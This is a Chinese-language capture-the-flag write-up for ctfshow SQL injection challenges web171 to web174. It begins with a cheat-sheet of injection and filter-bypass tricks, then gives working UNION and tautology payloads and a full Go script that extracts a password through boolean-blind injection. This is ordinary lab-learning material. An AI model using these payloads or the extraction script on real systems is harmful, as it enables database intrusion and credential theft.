方法
- 万能密码 ' or 1=1#
- MySQL 的注释有
--
- 猜表名,使用 like 猜 %flag% 配合 substr,利用 information_schema,updatexml
- MySQL双写绕过
- 括号去空格,比如 or 1=1 #改为or(1=1)#
- id 参数的异或,利用返回来匹配比如 1^1^(length(database()) == {}) 来猜测长度,再猜测数据库名
- MySQL 的函数,ascii substr database
web171
该处由
where username != 'flag'
可以大致判断出我们需要寻找一个username为flag的数据,而输入用户id 25又无法找到数据,所以我们可以直接构造一个或判断,让username就等于flag,就可以拿到。payload:
25' or username = 'flag

web172
代码
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
设想
- 先将所在 username 修改掉 (好像update行不通)
- 可以用UNION将select中的username字段给替换成自定义字符串
做题
尝试修改
UPDATE ctfshow_user2 SET username='boom' WHERE username='flag'
(不可行)payload: 66666666'; UPDATE ctfshow_user2 SET username='boom' WHERE username='flag'; --
尝试使用union
返回的数据中通过union将username中的flag替换掉。
union select 1,password from ctfshow_user2 where username='flag';
payload:
16666' union select 1,password from ctfshow_user2 where username='flag'; --
web173
做题
尝试
16666' union select id,1,password from ctfshow_user2 where username='flag'; --
无果,提示密码 not_here草,原来是表名改成了ctfshow_user3。。。
payload:
16666' union select id,1,password from ctfshow_user3 where username='flag'; --
web174
做题
package main import ( "bytes" "encoding/json" "fmt" "io/ioutil" "net/http" "net/url" "time" ) // 在此,宣判! const ctfshowUrl = "http://45cae16e-bf99-48ef-8896-89378d848a56.challenge.ctf.show:8080/" // 返回数据的结构 type ctfshowRet struct { Code int `json:"code"` Count int `json:"count"` Data []retData `json:"data"` Msg string `json:"msg"` } type retData struct { Username string `json:"username"` Password string `json:"password"` } // 检查获得字段长度 func checkLength() int { for i := 0; i < 999; i++ { checkSQL := fmt.Sprintf("length((select password from ctfshow_user4 where username='flag'))=%d", i) if judge, _ := ifSQLTrue(checkSQL); judge { return i } } return -1 } func isBiggerThan(x int, position int) (bool, error) { ret, err := ifSQLTrue(fmt.Sprintf("ascii(substr((select password from ctfshow_user4 WHERE username='flag' LIMIT 1), %d, 1))>%d", position, x)) if err != nil { return false, err } if ret { return true, nil } return false, nil } // 判断传入的sql是否为真 func ifSQLTrue(sql string) (bool, error) { //fullSQL := "1';%s-- " judgeSQL := fmt.Sprintf("1' and (%s);-- ", sql) params := url.Values{} payloadUrl, err := url.Parse(ctfshowUrl + "api/v4.php") if err != nil { fmt.Errorf(err.Error()) return false, err } //fmt.Printf("尝试发送 Payload: %s\n", judgeSQL) params.Set("id", judgeSQL) payloadUrl.RawQuery = params.Encode() resp, err := http.Get(payloadUrl.String()) if err != nil { fmt.Printf(err.Error()) return false, err } //fmt.Printf(resp.Status); body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Printf(err.Error()) return false, err } var ret ctfshowRet err = json.Unmarshal(body, &ret) if err != nil { fmt.Println(err.Error()) return false, err } //fmt.Printf() if len(ret.Data) == 1 { return true, nil } return false, nil } func main() { startTime := time.Now() var flag bytes.Buffer length := checkLength() fmt.Printf("成功计算 flag 长度为: %s,耗时 %v\n", length, time.Since(startTime)) for i := 1; i <= length; i++ { // 采用二分法 x := 0 y := 255 for z := (x + y) / 2; x < y; z = (x + y) / 2 { isBigger, err := isBiggerThan(z, i) if err != nil { fmt.Errorf(err.Error()) return } if isBigger { x = z + 1 } else { y = z } if x == y { flag.WriteByte(byte(x)) fmt.Printf("发现字符,目前字符串:%s\n", flag.String()) break } } } fmt.Printf("flag为 %s ,总耗时 %v\n", flag.String(), time.Since(startTime)) }
参考资料
问
- concat 用法,基本函数 database() 等